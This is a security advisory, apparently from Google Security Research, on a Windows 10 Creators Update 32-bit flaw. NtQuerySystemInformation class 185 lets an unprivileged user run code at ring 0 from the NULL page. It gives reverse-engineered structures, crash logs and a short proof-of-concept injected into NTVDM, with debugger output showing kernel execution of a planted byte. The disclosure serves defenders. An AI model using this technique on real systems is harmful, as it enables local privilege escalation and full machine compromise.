Microsoft Windows 10 Creators Update 32-bit Ring-0 Code Execution Exploit

ID 1337DAY-ID-28900
Type zdt
Reporter Google Security Research
Modified 2017-10-30T00:00:00


Microsoft Windows 10 Creators Update suffers from a 32-bit execution of ring-0 code from NULL page via NtQuerySystemInformation (class 185, Warbird functionality).

                                            Windows 10 Creators Update 32-bit execution of ring-0 code from NULL page via NtQuerySystemInformation (class 185, Warbird functionality) 

In Windows 10 Creators Update (version 1703), a new information class 185 was introduced to the NtQuerySystemInformation system call, which is handled by the internal nt!WbDispatchOperation function. Non-privileged users in the system can freely trigger it. The routine supports a number of different operations (WbDecryptEncryptionSegment, WbReEncryptEncryptionSegment, WbHeapExecuteCall and so on), but before any of them are performed, nt!WbGetWarbirdProcess is called to acquire the so-called warbird process.

Under the hood, the function operates on a global nt!g_warbirdExtension structure of type WARBIRD_EXTENSION, which has been reverse-engineered to the following layout:

--- cut ---
  00000000 _WARBIRD_EXTENSION struc ; (sizeof=0x18)
  00000000 elem_size       dd ?
  00000004 count           dd ?
  00000008 capacity        dd ?
  0000000C dataptr         dd ?
  00000010 realloc_delta   dd ?
  00000014 cmp_func        dd ?
  00000018 _WARBIRD_EXTENSION ends
--- cut ---

In other words, it's a simple dynamically-sized container with an associated comparator function. The container is operated on by functions such as nt!WbAddLookupEntry, nt!WbRemoveLookupEntry and nt!WbFindLookupEntry, all of which assume that the structure has been successfully initialized.

Its initialization is performed in nt!WbInitialize (<--- nt!ClipInitHandles <--- nt!ExInitLicenseData <--- nt!Phase1InitializationIoReady <--- nt!Phase1Initialization <--- ...), but only if the nt!WbGetServiceDescriptorIndex call succeeds first. The purpose of nt!WbGetServiceDescriptorIndex is to locate the index of the NtQuerySystemInformation entry in the system call table, as shown in the pseudo-code below:

--- cut ---
  v2 = 0;
  v3 = -1;
  v4 = 0;
  if ( KiServiceLimit )
    v5 = KeServiceDescriptorTable;
    while ( (KeServiceDescriptorTable + (*(v5 + 4 * v4) >> 4)) != NtQuerySystemInformation )
      v5 = KeServiceDescriptorTable;
      if ( ++v4 >= KiServiceLimit )
        goto label_return;
    v3 = v4;
  if ( a2 )
    *a2 = v3;
  if ( v3 == -1 )
--- cut ---

Strangely enough, the implementation of the function is exactly the same on x86 and x64 builds of the system, even though the syscall tables have different binary formats. On x86, it is a simple list of direct function addresses, while on x64 it's a list of offsets relative to nt!KeServiceDescriptorTable and shifted by 4 bits to the left. As a result, the function simply fails to locate the NtQuerySystemInformation address on 32-bit builds, thus leaving the nt!g_warbirdExtension structure uninitialized (filled with zeros).

When a user-mode program calls NtQuerySystemInformation(185, ...) to trigger operations on the zero-ed out container, internal functions will attempt to dereference NULL pointers, as shown in the example below:

--- cut ---
  This is a very common bugcheck.  Usually the exception address pinpoints
  the driver/function that caused the problem.  Always note this address
  as well as the link date of the driver/image that contains this address.
  Arg1: c0000005, The exception code that was not handled
  Arg2: 816d42cc, The address that the exception occurred at
  Arg3: 00000001, Parameter 0 of the exception
  Arg4: 00000000, Parameter 1 of the exception


  TRAP_FRAME:  8d03b5c0 -- (.trap 0xffffffff8d03b5c0)
  ErrCode = 00000002
  eax=00000000 ebx=00000000 ecx=ca5f0f70 edx=00000000 esi=8141d700 edi=00000000
  eip=816d42cc esp=8d03b634 ebp=8d03b644 iopl=0         nv up ei pl zr na pe nc
  cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
  816d42cc 8908            mov     dword ptr [eax],ecx  ds:0023:00000000=????????
  Resetting default scope

  LAST_CONTROL_TRANSFER:  from 81398dad to 81319c34

  8d03ab14 81398dad 00000003 6139b020 00000065 nt!RtlpBreakWithStatusInstruction
  8d03ab68 813987f5 847cb340 8d03af88 8d03afbc nt!KiBugCheckDebugBreak+0x1f
  8d03af5c 81318aba 0000001e c0000005 816d42cc nt!KeBugCheck2+0x739
  8d03af80 813189f1 0000001e c0000005 816d42cc nt!KiBugCheck2+0xc6
  8d03afa0 813c8ab4 0000001e c0000005 816d42cc nt!KeBugCheckEx+0x19
  8d03afbc 8132e772 8d03b4e8 81434168 8d03b0b0 nt!KiFatalExceptionHandler+0x1a
  8d03afe0 8132e744 8d03b4e8 81434168 8d03b0b0 nt!ExecuteHandler2+0x26
  8d03b0a0 812a0540 8d03b4e8 8d03b0b0 00010037 nt!ExecuteHandler+0x24
  8d03b4cc 8132a155 8d03b4e8 00000000 8d03b5c0 nt!KiDispatchException+0x228
  8d03b538 8132ca57 00000000 00000000 00000000 nt!KiDispatchTrapException+0x51
  8d03b538 816d42cc 00000000 00000000 00000000 nt!KiTrap0E+0x1a7
  8d03b644 816d4244 8d03b670 00000000 00000000 nt!WbAddLookupEntryEx+0x82
  8d03b65c 816d2242 ca5f0f70 00001498 00000004 nt!WbAddLookupEntry+0x32
  8d03b68c 816d2596 ca9a0ff8 00000000 00000001 nt!WbAddWarbirdProcess+0x20
  8d03b6a8 816d1c65 8d03b6e0 6139adb4 00000008 nt!WbGetWarbirdProcess+0xf9
  8d03b6fc 815a781d 6139a0ac 000000b9 00d6fa3c nt!WbDispatchOperation+0xe1
  8d03bbe4 8146d16a 00000000 00d6fb18 00000008 nt!ExpQuerySystemInformation+0x13a66f
  8d03bbfc 81329397 000000b9 00d6fb18 00000008 nt!NtQuerySystemInformation+0x40
  8d03bbfc 770c4350 000000b9 00d6fb18 00000008 nt!KiSystemServicePostCall
--- cut ---

If NTVDM (support for legacy 16-bit programs) is enabled in the system, the NTVDM.EXE process will have the NULL page mapped. If we spawn a 16-bit application (e.g. debug.exe) and inject our exploit into ntvdm, we can prevent the system from instantly crashing when trying to write to address 0 in nt!WbAddLookupEntryEx. Then, upon a second call to NtQuerySystemInformation(185, ...), the nt!WbFindLookupEntry function will believe that nt!g_warbirdExtension has a positive number of elements (since one has already been added), and will thus invoke the comparator function specified in nt!g_warbirdExtension.cmp_func. In the case of uninitialized nt!g_warbirdExtension on 32-bit platforms, this will simply result in transferring kernel code execution to address 0x00000000, where we can easily map our shellcode.

An example proof-of-concept code to be injected into the ntvdm process is as follows:

--- cut ---
  BYTE Buffer[8];
  DWORD BytesReturned;

  RtlZeroMemory(Buffer, sizeof(Buffer));
  NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);

  RtlCopyMemory(NULL, "\xcc", 1);

  RtlZeroMemory(Buffer, sizeof(Buffer));
  NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);
--- cut ---

The result of running this code is shown below in the form of a WinDbg output log, which demonstrates the execution of the controlled int3 instruction (0xcc byte) at address 0:

--- cut ---
  1: kd> g
  Break instruction exception - code 80000003 (first chance)
  00000000 cc              int     3

  0: kd> k
   # ChildEBP RetAddr  
  WARNING: Frame IP not in any known module. Following frames may be wrong.
  00 d99a8638 813acb5f 0x0
  01 d99a8660 8128186c nt!WbFindLookupEntry+0x12b2e1
  02 d99a8688 814d04fe nt!WbFindWarbirdProcess+0x26
  03 d99a86a8 814cfc65 nt!WbGetWarbirdProcess+0x61
  04 d99a86fc 813a581d nt!WbDispatchOperation+0xe1
  05 d99a8be4 8126b16a nt!ExpQuerySystemInformation+0x13a66f
  06 d99a8bfc 81127397 nt!NtQuerySystemInformation+0x40
  07 d99a8bfc 772b4350 nt!KiSystemServicePostCall
--- cut ---

A local attacker could exploit the issue to execute arbitrary code with kernel privileges. As far as we've tested, it is only exploitable on Windows 10 Creators Update 32-bit with NTVDM enabled.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public.

# [2018-04-11]  #